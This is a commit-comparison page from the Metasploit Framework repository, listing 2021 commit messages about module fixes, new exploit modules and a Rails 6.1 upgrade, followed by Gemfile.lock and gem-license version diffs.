Compare commits

...

177 Commits

Author SHA1 Message Date
Metasploit 08ec56e31f automatic module_metadata_base.json update 2021-08-26 11:21:14 -05:00
Spencer McIntyre 674628e600 Land #15384, Improve Windows RDLL injection 2021-08-26 12:11:44 -04:00
space-r7 8b8d138812 Land #15496, specify SSLVersion for servers 2021-08-26 10:57:11 -05:00
Grant Willcox be9a7bc9b9 Fix up error in alpc_taskscheduler.rb where it expected a DLL but we passed it shellcode instead 2021-08-26 09:27:21 -05:00
Grant Willcox 7652a2240e Add in missing import for modules/exploits/windows/local/ntapphelpcachecontrol.rb to prevent crashes due to execute_dll not being defined 2021-08-25 18:19:58 -05:00
Metasploit ff9a5f1758 automatic module_metadata_base.json update 2021-08-25 14:28:25 -05:00
space-r7 ab622405de Land #15593, add WP Learnpress SQLi module 2021-08-25 14:18:51 -05:00
space-r7 17da80163c fix typo, set COUNT default to 3 as noted in docs 2021-08-25 14:17:47 -05:00
Grant Willcox 5a80e9678c Address Spencer's comments and remove changes that don't directly use the DLL injection library API change 2021-08-24 16:34:01 -05:00
h00die b9db47f873 wp_learnpress sqli 2021-08-23 19:45:45 -04:00
Spencer McIntyre d90c0293ec Land #15477, Add read_file and readable? for psh 2021-08-23 17:49:44 -04:00
Metasploit a28c134403 automatic module_metadata_base.json update 2021-08-23 06:24:23 -05:00
adfoster-r7 441acaeac8 Land #15580, Add default payload option to targets 2021-08-23 12:05:09 +01:00
adfoster-r7 be76a0fefa Land #15584, update wordpress themes and plugins list
update wordpress themes and plugins list
2021-08-22 15:24:44 +01:00
h00die b8d3fda3a6 update wordpress themes and plugins list 2021-08-22 09:07:18 -04:00
sjanusz 8e00c5a188 Add default payload option to targets 2021-08-20 16:38:22 +01:00
Metasploit 5f6112766a Bump version of framework to 6.1.2 2021-08-20 08:04:11 -05:00
William Vu 5bb423e99e Land #15578, cisco_rv130_rmi_rce dead docs fix 2021-08-20 05:13:43 -05:00
William Vu e480e868b9 Remove dead cisco_rv130_rmi_rce documentation
It is now cve_2019_1663_cisco_rmi_rce.
2021-08-20 05:06:00 -05:00
William Vu ae3e3e1b37 Land #15575, Gemfile.lock update 2021-08-19 21:03:08 -05:00
William Vu d9d3d1f841 Update Gemfile.lock 2021-08-19 20:59:43 -05:00
Metasploit da04459459 automatic module_metadata_base.json update 2021-08-19 16:49:52 -05:00
Spencer McIntyre c47efcabfc Land #15556, Add shell support to enum_unattended 2021-08-19 17:40:51 -04:00
Spencer McIntyre 274917ae82 Land #15564, Update post_common mixin methods 2021-08-19 14:31:37 -04:00
Spencer McIntyre db8a55436f Update the docs for command_exists? 2021-08-19 14:31:23 -04:00
pingport80 406b152752 add shell support to enum_unattend module
update registry operations

guard against nil when the unattendfile registry key is not present
2021-08-19 23:39:18 +05:30
Spencer McIntyre 5d33303263 Land #15332, rename_file function improvements 2021-08-19 12:08:12 -04:00
Spencer McIntyre bb82b41184 Update the rename_file docs 2021-08-19 12:08:03 -04:00
Metasploit c9a5a0aaf1 automatic module_metadata_base.json update 2021-08-19 10:41:58 -05:00
William Vu 31796c6236 Land #15561, ProxyShell exploit 2021-08-19 10:31:02 -05:00
William Vu 0a06730802 Update contributors 2021-08-19 10:30:21 -05:00
pingport80 10224a9c8c update regex to string in session type checks 2021-08-19 20:13:27 +05:30
Metasploit 45845af3f8 automatic module_metadata_base.json update 2021-08-19 08:29:47 -05:00
Spencer McIntyre 1519aef539 Land #15570, Fix smb enum gpp module 2021-08-19 09:20:38 -04:00
Metasploit d53cc717ba automatic module_metadata_base.json update 2021-08-18 17:24:58 -05:00
space-r7 a75b649cf3 Land #15546, properly store UUID URLs 2021-08-18 17:15:14 -05:00
wvu bcf00a0d3a Update exchange_proxyshell_rce.md 2021-08-18 14:38:56 -05:00
Spencer McIntyre 84f8c44e69 Write to the targeted backend server 2021-08-18 12:34:40 -04:00
Spencer McIntyre 81163ec117 Revert changes to Gemfile.lock 2021-08-18 10:50:41 -04:00
Spencer McIntyre 75e63992d6 Write an exploit for ProxyShell 2021-08-18 10:50:34 -04:00
adfoster-r7 d9baaed0ba Fix smb enum gpp module 2021-08-18 11:44:03 +01:00
pingport80 077ea6dc79 update common.rb to support powershell session type 2021-08-17 19:45:08 +05:30
pingport80 a7bed49e8a update readable? for directories 2021-08-17 16:39:23 +05:30
Metasploit 3b59829c9e automatic module_metadata_base.json update 2021-08-16 17:17:27 -05:00
space-r7 54c3628935 Land #15525, add Lucee admin file write exploit 2021-08-16 16:59:10 -05:00
William Vu 521ca14773 Add Lucee Administrator CVE-2021-21307 exploit 2021-08-16 10:09:34 -05:00
pingport80 05d2375721 fix localization issue and enhance rename_file method 2021-08-16 19:40:37 +05:30
Tim W f33bd8bb83 Land #15540, fix linux/macos meterpreter shell -t subshell command 2021-08-16 14:08:06 +01:00
bwatters 14c3eca706 Land #15303, Fix dir method for windows shell sessions (with all commits)
Merge branch 'land-15303' into upstream-master
2021-08-13 15:46:44 -05:00
bwatters cd4df70ce8 Land #15303, Fix dir method for windows shell sessions
Merge branch 'land-15303' into upstream-master
2021-08-13 15:38:21 -05:00
Grant Willcox ac1cc1c03a Land #15547, Bump rex-text to 0.2.36 2021-08-13 12:35:25 -05:00
Grant Willcox 3f4c237a53 Bump rex-text to 0.2.36 2021-08-13 11:49:38 -05:00
Tim W 5acd0ee5d6 Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads 2021-08-13 16:57:04 +01:00
Metasploit 4b720559e4 automatic module_metadata_base.json update 2021-08-13 10:23:59 -05:00
Jack Heysel 5aa56b303a Land #15539, Fix cve_2018_8453_win32k_priv_esc
Fixes the check method for the above module, prior
to this change the module was not running against 1703.
2021-08-13 11:01:58 -04:00
pingport80 59af52fee4 add a protection from nil 2021-08-13 20:02:26 +05:30
Grant Willcox 077ab0452c Land #15545, Bump rex-bin-tools to 0.1.8 2021-08-12 21:19:26 -05:00
Grant Willcox b8ed86dd3e Bump rex-bin-tools to 0.1.8 2021-08-12 20:05:14 -05:00
Grant Willcox 731f71b1e0 Land #15544, Bump rex-encoder in Gemfile.lock to 0.1.6 2021-08-12 18:49:10 -05:00
Grant Willcox ed3181f7e9 Bump rex-encoder in Gemfile.lock to 0.1.6 2021-08-12 18:21:02 -05:00
Metasploit c752ddc5f7 Bump version of framework to 6.1.1 2021-08-12 12:04:49 -05:00
adfoster-r7 0a504d9358 Land #15542, Patch Meterpreter scripts to work again 2021-08-12 17:57:38 +01:00
Metasploit 5e9d471d12 automatic module_metadata_base.json update 2021-08-12 08:47:04 -05:00
Spencer McIntyre 82cc8526d4 Land #15501, Add CVE-2019-11580 (Atlassian Crowd) 2021-08-12 09:38:31 -04:00
Metasploit 55593d74ff automatic module_metadata_base.json update 2021-08-11 17:51:16 -05:00
Grant Willcox 85ef49a79c Land #15535, Update psexec module to use SMBSHARE option name for consistency 2021-08-11 17:41:38 -05:00
Grant Willcox a6eaf58f84 Land #15523, Add missing command names to session compatibility warning 2021-08-11 16:40:50 -05:00
Metasploit aab314d0e5 automatic module_metadata_base.json update 2021-08-11 15:12:50 -05:00
Grant Willcox 5fdf990f24 Land #15519, Lexmark Universal Print Driver Local Privilege Escalation 2021-08-11 15:03:53 -05:00
Grant Willcox 92327461d3 Add in driver installation instructions to documentation 2021-08-11 14:40:21 -05:00
Grant Willcox 7b25bd366f Update documentation and fix a few typos so that it reflects latest changes 2021-08-11 12:25:36 -05:00
adfoster-r7 e41406d478 Patch meterpreter scripts to work again 2021-08-11 15:42:27 +01:00
pingport80 235aae068f fix minor error 2021-08-11 19:32:47 +05:30
pingport80 6c1c717f1a add a check to see the path exists 2021-08-11 19:10:22 +05:30
pingport80 14cd2a74f5 update readable to add support for powershell 2021-08-11 18:46:52 +05:30
dwelch-r7 3b77f4a748 Add option for running cmd_execute in a subshell 2021-08-11 12:05:22 +01:00
adfoster-r7 83a1ff750a Land #15534, fix powershell command length in shell_to_meterpreter 2021-08-11 10:56:11 +01:00
Jacob Baines afa3d92774 Switched to upnp implementation 2021-08-10 18:17:18 -04:00
Grant Willcox 3ef2c0cf5a Land #15520, Canon TR150 Print Driver Local Privilege Escalation 2021-08-10 16:09:36 -05:00
Dimitrie-Toma Furdui 6dae595e4e fixed version check for cve_2018_8453_win32k_priv_esc 2021-08-10 21:49:42 +03:00
Grant Willcox ab61058fa7 Land #15536, Fix HiveNightmare Option Reference 2021-08-10 10:43:15 -05:00
pingport80 05eff3e25f increase the chunk size 2021-08-10 20:07:37 +05:30
Spencer McIntyre 8dd0347337 Fix a reference to the old option name 2021-08-10 09:36:42 -04:00
pingport80 5c2090f9ae updated suggested changes and reduce the size of each chunk 2021-08-10 18:45:26 +05:30
adfoster-r7 b9d2f30bbd Update psexec module to use SMBSHARE option name for consistency 2021-08-10 13:17:57 +01:00
Tim W d1fa2e857d fix #15528, fix powershell command length in shell_to_meterpreter 2021-08-10 12:08:50 +01:00
Metasploit b527833971 automatic module_metadata_base.json update 2021-08-10 05:57:51 -05:00
adfoster-r7 fedcdc386b Land #15493, Rails 6.1 upgrade 2021-08-10 11:49:25 +01:00
dwelch-r7 783ae5ed29 Land #15533, Update json rpc spec tests 2021-08-10 11:21:11 +01:00
Jacob Baines b3dbf7c0e9 Altered the approach in check 2021-08-09 22:05:16 -04:00
adfoster-r7 50b576cc2e Update json rpc spec tests 2021-08-10 00:10:05 +01:00
Grant Willcox 55404ff29f Further fixes from review and further touch up edits 2021-08-09 14:23:05 -05:00
dwelch-r7 be9dda40bd Land #15327, Update rpc analyze command to support latest functionality 2021-08-09 18:32:00 +01:00
Jeffrey Martin d240292253 move web service api code into library path 2021-08-09 12:22:43 -05:00
Jeffrey Martin 3f2c70323c ensure location of framework is on the LOAD_PATH 2021-08-09 12:22:43 -05:00
Jeffrey Martin 4de3dfca7e include documentation gem when built 2021-08-09 12:22:42 -05:00
Jeffrey Martin 1555160acd Rails 6.1 upgrade represents a minor version bump
Due to compatibility requirements this upgrade needs an explicit version bump.
2021-08-09 12:22:42 -05:00
Jeffrey Martin 8d66913c00 guard hrr_rb_ssh from zeitwerk eager loading
if/when eager loading is enabled any class or top level require
will be exercised during the process.  Since the ruby builtin PTY
does not function in Windows, defer requires that inveract with symbols
in the `hrr_rb_ssh` gem to ensure they load only during runtime.
2021-08-09 12:22:13 -05:00
Grant Willcox c03ca1d39d Fix RuboCop error 2021-08-09 12:21:07 -05:00
Jeffrey Martin ab31500d7f swap hrr_rh_ssh for hrr_rh_ssh-ed25519
Take newer upstream gem now available.
2021-08-09 12:16:13 -05:00
Alan Foster c8cc111318 Rename class.parents to class.module_parents 2021-08-09 12:16:13 -05:00
Jeffrey Martin 5b56179d8e lock for rails 6.1 2021-08-09 12:16:12 -05:00
Jeffrey Martin 7a549d94f8 remove laoder initializer 2021-08-09 12:16:12 -05:00
Jeffrey Martin ff088c67ce deprecated model error pattern 2021-08-09 12:16:12 -05:00
Jeffrey Martin 1fe26b8c6c connection_config is deprecated 2021-08-09 12:16:11 -05:00
Jeffrey Martin 047a1eba07 Rails 6.1 upgrade 2021-08-09 12:16:08 -05:00
Grant Willcox f8d838bba2 Fix first round of comments from the review process 2021-08-09 12:13:27 -05:00
Metasploit 59dd2575e5 automatic module_metadata_base.json update 2021-08-09 11:47:56 -05:00
Christophe De La Fuente 07c9350733 Land #15430, Support for SSH pivoting 2021-08-09 18:34:08 +02:00
adfoster-r7 fade59dc64 Add missing command names to session compatibility warning 2021-08-09 17:13:26 +01:00
Grant Willcox 8517286e89 RuboCop fix to description to make it happy 2021-08-09 10:05:21 -05:00
Grant Willcox 838142362c Apply first round of updates from review comments to improve explanations of the vulnerability and fix some minor issues 2021-08-09 09:59:09 -05:00
Gaurav Purswani 300328fafe Update lib/msf/core/post/file.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2021-08-09 20:19:12 +05:30
Metasploit 8b4080e027 automatic module_metadata_base.json update 2021-08-09 08:22:21 -05:00
Spencer McIntyre b406257e6b Land #15524, fix a localization issue 2021-08-09 09:03:56 -04:00
pingport80 bc23658123 minor sytling changes 2021-08-09 15:53:58 +05:30
Jacob Baines 7703810c4a Fixed rubocop issue 2021-08-07 06:59:50 -04:00
Jacob Baines 0e41a0e81e Addressed all but one review items 2021-08-07 06:46:49 -04:00
Spencer McIntyre 06b671e710 Add the SSLVersion datastore option for servers
Requires rapid7/rex-socket#37 for the option to be honored.
2021-08-06 14:44:53 -05:00
Spencer McIntyre c43d55068c Add the SSLVersion datastore option for handlers
Requires rapid7/rex-socket#37 for the option to be honored.
2021-08-06 14:44:48 -05:00
Jacob Baines 8d699c0c4e Addressed various review comments 2021-08-06 14:55:50 -04:00
pingport80 815ecd27c3 minor changes 2021-08-06 22:35:05 +05:30
pingport80 d2c2f66374 fix localization issue in linux_enum_network 2021-08-06 22:13:25 +05:30
Grant Willcox 2addf355f7 Land #15518, Bump rex-socket version to 0.1.32 2021-08-06 09:33:42 -05:00
Jacob Baines f6e6451ab6 Merge branch 'rapid7:master' into canon_lpe 2021-08-05 17:07:00 -04:00
Jacob Baines 2e9acc6ba3 Merge branch 'rapid7:master' into lexmark_lpe 2021-08-05 16:25:34 -04:00
Grant Willcox f38d953515 Bump rex-socket version to 0.1.32 2021-08-05 14:57:52 -05:00
Alan Foster 2c73c14931 Update rpc analyze command to support latest functionality 2021-08-05 20:18:31 +01:00
Grant Willcox ade653f0bf Final fixup edits to change the timeout value to be an advanced option and also to use send_req_cgi 2021-08-05 13:10:24 -05:00
Metasploit 056859364e Bump version of framework to 6.0.57 2021-08-05 12:05:02 -05:00
Jacob Baines f851faf2e4 Initial commit for Canon driver exploit 2021-08-05 11:17:45 -04:00
Grant Willcox 00cfdc4f17 Use Faker to generate a fake app name, add in option to specify timeout to server, and also fix Alan's remaining review comments 2021-08-05 09:46:34 -05:00
Jacob Baines 4cff38b9c2 Fixed rubocop issues 2021-08-04 16:41:20 -04:00
Jacob Baines 699c53151b Fixed msftidy issues 2021-08-04 16:14:27 -04:00
Jacob Baines e6c48db072 Initial version of CVE-2021-35449 2021-08-04 16:08:43 -04:00
Grant Willcox 0d7d5ab93f Switch over to Rex::MIME::Message to use our built in mixins, and also fix last remaining review comments 2021-08-02 11:17:26 -05:00
pingport80 4fbf532faf fix one error in offset value 2021-08-02 20:12:25 +05:30
pingport80 d590702922 fix variable names 2021-08-02 18:44:03 +05:30
pingport80 92e13d10f1 fragement the file into small parts 2021-08-02 18:39:16 +05:30
Grant Willcox 27f70af1b3 Fix up some of the mistakes wvu pointed out 2021-07-30 15:28:10 -05:00
Grant Willcox 5b3bbf7f36 Fix up tabs formatting issue that was causing RuboCop to complain. Silly RuboCop :) 2021-07-30 12:17:46 -05:00
Grant Willcox 3427571887 Push up working CVE-2019-11580 exploit and associated documentation 2021-07-30 12:07:12 -05:00
pingport80 d7112d0d33 add gzip compression for read file powershell 2021-07-28 20:49:46 +05:30
pingport80 4dd0a5f8be change method name to _read_file_powershell 2021-07-27 20:17:04 +05:30
pingport80 2cd20e5698 add support for binary files for powershell session types 2021-07-26 23:52:20 +05:30
Spencer McIntyre 426898e065 Add a tip and note in the module docs 2021-07-26 09:13:11 -04:00
Grant Willcox 51e02a9ede Remove userinit.exe from list of random processes for execute_dll as its somewhat unreliable and spawns noticeable processes 2021-07-23 12:34:32 -05:00
Grant Willcox 31b82452ec Fix up Spencer's comments from review to correctly pass in parameters to execute_dll() as some calls were passing the wrong set of parameters 2021-07-23 12:34:25 -05:00
Grant Willcox 2fb379374f Update documentation where possible for changed exploits 2021-07-23 12:34:12 -05:00
Grant Willcox fabc566402 Improve process.rb's execute_dll to now automatically detect the architecture of the target and of the DLL and then appropriately decide if it needs to launch a WoW64 process to inject into. 2021-07-23 12:33:41 -05:00
Grant Willcox bc0439fc47 Improve the list of potential processes to spawn and inject into to be more believable 2021-07-23 12:33:16 -05:00
Grant Willcox 96b15c9650 Update process.rb to support injecting into a random process and not just notepad.exe all the time to improve signature evasion. Also support injecting into one's own Meterpreter process for further stealth. Finally update one module to showcase off how these changes look like on a real module. 2021-07-23 12:33:01 -05:00
Spencer McIntyre e4100c8018 Fix rubocop issues in the handler file 2021-07-23 11:12:46 -04:00
Spencer McIntyre a13acf9647 Fix rubocop issues in channel files 2021-07-23 11:09:09 -04:00
Spencer McIntyre 0314569e3d Fix rubocop issues in session files 2021-07-23 10:58:13 -04:00
Spencer McIntyre c21598a81a Update to rex-core 0.1.17
This pulls in the changes from rapid7/rex-core#14
2021-07-15 15:11:38 -04:00
Spencer McIntyre 0251dff80b Add more descriptive error messages and logging 2021-07-14 14:38:33 -04:00
Spencer McIntyre 1ddcc9f12b Remove the socket in psexec
PsExec needs the socket to remain open after the session is established
in order to rebove the service. Remote TCP exploits close and remove
their sockets by default which creates a race condition that can result
in failing to cleanup the service.
2021-07-14 11:00:45 -04:00
Spencer McIntyre 7aa44a9a80 Add a couple more socket methods 2021-07-14 11:00:34 -04:00
Spencer McIntyre 06b592cfa1 Update the session initialization method 2021-07-13 17:25:19 -04:00
Spencer McIntyre 15268366e1 Fix a bug in how sockets are closed 2021-07-13 17:10:54 -04:00
Spencer McIntyre 8ab78da7b5 Raise more descriptive exceptions 2021-07-09 17:14:54 -04:00
Spencer McIntyre f66a64d2fb Update the ssh_login_pubkey module 2021-06-30 09:51:52 -04:00
Spencer McIntyre 46a877678d Refactor some channel related Meterpreter code
This makes some of the channel related Meterpreter code accessible to
other locations in the framework which enables other sessions to also
support pivoting capabilities.
2021-06-30 09:25:25 -04:00
Spencer McIntyre 7bddaeb74f Add documentation for the new session 2021-06-30 09:00:13 -04:00
Spencer McIntyre 208ab470e7 Switch from stderr to proper logging 2021-06-29 18:29:14 -04:00
Spencer McIntyre 51f8808bed Fix the representation of IPv6 addresses 2021-06-29 14:21:36 -04:00
Spencer McIntyre 4c925ce686 Add the channel's #read method 2021-06-29 13:40:21 -04:00
Spencer McIntyre a6b5c89b1d Cleanup channels when the session is closed 2021-06-29 09:55:35 -04:00
Spencer McIntyre 2c2ae2581a Make the session a channel container 2021-06-28 17:43:57 -04:00
Spencer McIntyre 1aef1658b0 Handle ssh channel failures and timeouts 2021-06-28 16:47:14 -04:00
Spencer McIntyre 233d353403 Fix how the address of forwarded connections
The rstream is the command shell stream which is not the same as the
underlying network transport. In order for the session's connection
information to be reported properly (as represented by the output of
`sessions`) the SSH connection socket needs to be set as #sock.
2021-06-25 21:59:27 -04:00
Spencer McIntyre a6afac608b Squash some unnecessary code 2021-06-25 21:19:05 -04:00
Spencer McIntyre f01e4a4408 More work on SSH pivoting 2021-06-25 21:19:05 -04:00
Spencer McIntyre 10ad84434c Initial support for pivoting over SSH 2021-06-25 21:19:05 -04:00
pingport80 6dca1d36ab add check for powershell 2021-06-08 18:09:36 +05:30
pingport80 ca5d3ea162 fix dir method for windows and added for powershell 2021-06-06 21:47:51 +05:30
154 changed files with 7178 additions and 1987 deletions
+101 -77
View File
@@ -1,10 +1,10 @@
PATH
remote: .
specs:
metasploit-framework (6.0.56)
actionpack (~> 5.2.2)
activerecord (~> 5.2.2)
activesupport (~> 5.2.2)
metasploit-framework (6.1.2)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
aws-sdk-ec2
aws-sdk-iam
aws-sdk-s3
@@ -20,17 +20,17 @@ PATH
faraday
faye-websocket
filesize
hrr_rb_ssh (= 0.3.0.pre2)
hrr_rb_ssh-ed25519
http-cookie
irb
jsobfu
json
metasm
metasploit-concern (~> 3.0.0)
metasploit-credential (~> 4.0.0)
metasploit-model (~> 3.1.0)
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.50)
metasploit_data_models (~> 4.1.0)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.10)
mqtt
msgpack
@@ -86,6 +86,7 @@ PATH
unix-crypt
warden
windows_error
winrm
xdr
xmlrpc
zeitwerk
@@ -94,55 +95,54 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.1.0)
actionpack (5.2.6)
actionview (= 5.2.6)
activesupport (= 5.2.6)
rack (~> 2.0, >= 2.0.8)
actionpack (6.1.4.1)
actionview (= 6.1.4.1)
activesupport (= 6.1.4.1)
rack (~> 2.0, >= 2.0.9)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.0.2)
actionview (5.2.6)
activesupport (= 5.2.6)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
actionview (6.1.4.1)
activesupport (= 6.1.4.1)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.0.3)
activemodel (5.2.6)
activesupport (= 5.2.6)
activerecord (5.2.6)
activemodel (= 5.2.6)
activesupport (= 5.2.6)
arel (>= 9.0)
activesupport (5.2.6)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
activemodel (6.1.4.1)
activesupport (= 6.1.4.1)
activerecord (6.1.4.1)
activemodel (= 6.1.4.1)
activesupport (= 6.1.4.1)
activesupport (6.1.4.1)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
tzinfo (~> 1.1)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
tzinfo (~> 2.0)
zeitwerk (~> 2.3)
addressable (2.8.0)
public_suffix (>= 2.0.2, < 5.0)
afm (0.2.2)
arel (9.0.0)
arel-helpers (2.12.0)
activerecord (>= 3.1.0, < 7)
ast (2.4.2)
aws-eventstream (1.1.1)
aws-partitions (1.480.0)
aws-sdk-core (3.118.0)
aws-partitions (1.489.0)
aws-sdk-core (3.119.0)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.239.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-ec2 (1.252.0)
aws-sdk-core (~> 3, >= 3.118.0)
aws-sdk-ec2 (1.256.0)
aws-sdk-core (~> 3, >= 3.119.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.58.0)
aws-sdk-core (~> 3, >= 3.118.0)
aws-sdk-iam (1.59.0)
aws-sdk-core (~> 3, >= 3.119.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.45.0)
aws-sdk-core (~> 3, >= 3.118.0)
aws-sdk-kms (1.46.0)
aws-sdk-core (~> 3, >= 3.119.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.97.0)
aws-sdk-core (~> 3, >= 3.118.0)
aws-sdk-s3 (1.99.0)
aws-sdk-core (~> 3, >= 3.119.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.1)
aws-sigv4 (1.2.4)
@@ -182,7 +182,7 @@ GEM
railties (>= 5.0.0)
faker (2.18.0)
i18n (>= 1.6, < 2)
faraday (1.5.1)
faraday (1.7.0)
faraday-em_http (~> 1.0)
faraday-em_synchrony (~> 1.0)
faraday-excon (~> 1.1)
@@ -190,6 +190,7 @@ GEM
faraday-net_http (~> 1.0)
faraday-net_http_persistent (~> 1.1)
faraday-patron (~> 1.0)
faraday-rack (~> 1.0)
multipart-post (>= 1.2, < 3)
ruby2_keywords (>= 0.0.4)
faraday-em_http (1.0.0)
@@ -199,17 +200,26 @@ GEM
faraday-net_http (1.0.1)
faraday-net_http_persistent (1.2.0)
faraday-patron (1.0.0)
faraday-rack (1.0.0)
faye-websocket (0.11.1)
eventmachine (>= 0.12.0)
websocket-driver (>= 0.5.1)
ffi (1.15.3)
filesize (0.2.0)
fivemat (1.3.7)
gssapi (1.3.1)
ffi (>= 1.0.1)
gyoku (1.3.1)
builder (>= 2.1.2)
hashery (2.1.2)
hrr_rb_ssh (0.3.0.pre2)
hrr_rb_ssh (0.4.2)
hrr_rb_ssh-ed25519 (0.4.2)
ed25519 (~> 1.2)
hrr_rb_ssh (>= 0.4)
http-cookie (1.0.4)
domain_name (~> 0.5)
http_parser.rb (0.7.0)
httpclient (2.8.3)
i18n (1.8.10)
concurrent-ruby (~> 1.0)
io-console (0.5.9)
@@ -219,46 +229,51 @@ GEM
jsobfu (0.4.2)
rkelly-remix
json (2.5.1)
loofah (2.10.0)
little-plugger (1.1.4)
logging (2.3.0)
little-plugger (~> 1.1)
multi_json (~> 1.14)
loofah (2.12.0)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
memory_profiler (1.0.0)
metasm (1.0.5)
metasploit-concern (3.0.2)
activemodel (~> 5.2.2)
activesupport (~> 5.2.2)
railties (~> 5.2.2)
metasploit-credential (4.0.5)
metasploit-concern (4.0.2)
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-credential (5.0.3)
metasploit-concern
metasploit-model
metasploit_data_models (>= 3.0.0)
metasploit_data_models (>= 5.0.0)
net-ssh
pg
railties
rex-socket
rubyntlm
rubyzip
metasploit-model (3.1.4)
activemodel (~> 5.2.2)
activesupport (~> 5.2.2)
railties (~> 5.2.2)
metasploit-model (4.0.2)
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-payloads (2.0.50)
metasploit_data_models (4.1.4)
activerecord (~> 5.2.2)
activesupport (~> 5.2.2)
metasploit_data_models (5.0.3)
activerecord (~> 6.0)
activesupport (~> 6.0)
arel-helpers
metasploit-concern
metasploit-model (>= 3.1)
pg
railties (~> 5.2.2)
railties (~> 6.0)
recog (~> 2.0)
webrick
metasploit_payloads-mettle (1.0.10)
method_source (1.0.0)
mini_portile2 (2.5.3)
mini_portile2 (2.6.1)
minitest (5.14.4)
mqtt (0.5.0)
msgpack (1.4.2)
multi_json (1.15.0)
multipart-post (2.1.1)
mustermann (1.1.1)
ruby2_keywords (~> 0.0.1)
@@ -267,10 +282,11 @@ GEM
net-ssh (6.1.0)
network_interface (0.0.2)
nexpose (7.3.0)
nio4r (2.5.7)
nokogiri (1.11.7)
mini_portile2 (~> 2.5.0)
nio4r (2.5.8)
nokogiri (1.12.3)
mini_portile2 (~> 2.6.1)
racc (~> 1.4)
nori (2.6.0)
octokit (4.21.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
@@ -309,18 +325,18 @@ GEM
rails-dom-testing (2.0.3)
activesupport (>= 4.2.0)
nokogiri (>= 1.6)
rails-html-sanitizer (1.3.0)
rails-html-sanitizer (1.4.1)
loofah (~> 2.3)
railties (5.2.6)
actionpack (= 5.2.6)
activesupport (= 5.2.6)
railties (6.1.4.1)
actionpack (= 6.1.4.1)
activesupport (= 6.1.4.1)
method_source
rake (>= 0.8.7)
thor (>= 0.19.0, < 2.0)
rake (>= 0.13)
thor (~> 1.0)
rainbow (3.0.0)
rake (13.0.6)
rb-readline (0.5.5)
recog (2.3.20)
recog (2.3.21)
nokogiri
redcarpet (3.5.1)
regexp_parser (2.1.1)
@@ -328,14 +344,14 @@ GEM
io-console (~> 0.5)
rex-arch (0.1.14)
rex-text
rex-bin_tools (0.1.7)
rex-bin_tools (0.1.8)
metasm
rex-arch
rex-core
rex-struct2
rex-text
rex-core (0.1.17)
rex-encoder (0.1.5)
rex-encoder (0.1.6)
metasm
rex-arch
rex-text
@@ -364,14 +380,14 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.29)
rex-socket (0.1.32)
rex-core
rex-sslscan (0.1.6)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.3)
rex-text (0.2.35)
rex-text (0.2.36)
rex-zip (0.1.4)
rex-text
rexml (3.2.5)
@@ -388,7 +404,7 @@ GEM
rspec-mocks (3.10.2)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.10.0)
rspec-rails (5.0.1)
rspec-rails (5.0.2)
actionpack (>= 5.2)
activesupport (>= 5.2)
railties (>= 5.2)
@@ -399,16 +415,16 @@ GEM
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.10.2)
rubocop (1.18.4)
rubocop (1.19.1)
parallel (~> 1.10)
parser (>= 3.0.0.0)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml
rubocop-ast (>= 1.8.0, < 2.0)
rubocop-ast (>= 1.9.1, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 3.0)
rubocop-ast (1.8.0)
rubocop-ast (1.10.0)
parser (>= 3.0.1.1)
ruby-macho (2.5.1)
ruby-prof (1.4.2)
@@ -445,12 +461,11 @@ GEM
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (1.1.0)
thread_safe (0.3.6)
tilt (2.0.10)
timecop (0.9.4)
ttfunk (1.7.0)
tzinfo (1.2.9)
thread_safe (~> 0.1)
tzinfo (2.0.4)
concurrent-ruby (~> 1.0)
tzinfo-data (1.2021.1)
tzinfo (>= 1.0.0)
unf (0.1.4)
@@ -465,6 +480,15 @@ GEM
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
windows_error (0.1.2)
winrm (2.3.6)
builder (>= 2.1.2)
erubi (~> 1.8)
gssapi (~> 1.2)
gyoku (~> 1.0)
httpclient (~> 2.2, >= 2.2.0.2)
logging (>= 1.6.1, < 3.0)
nori (~> 2.0)
rubyntlm (~> 0.6.0, >= 0.6.3)
xdr (3.0.2)
activemodel (>= 4.2, < 7.0)
activesupport (>= 4.2, < 7.0)
+44 -35
View File
@@ -1,22 +1,21 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.1.0, MIT
actionpack, 5.2.6, MIT
actionview, 5.2.6, MIT
activemodel, 5.2.6, MIT
activerecord, 5.2.6, MIT
activesupport, 5.2.6, MIT
actionpack, 6.1.4.1, MIT
actionview, 6.1.4.1, MIT
activemodel, 6.1.4.1, MIT
activerecord, 6.1.4.1, MIT
activesupport, 6.1.4.1, MIT
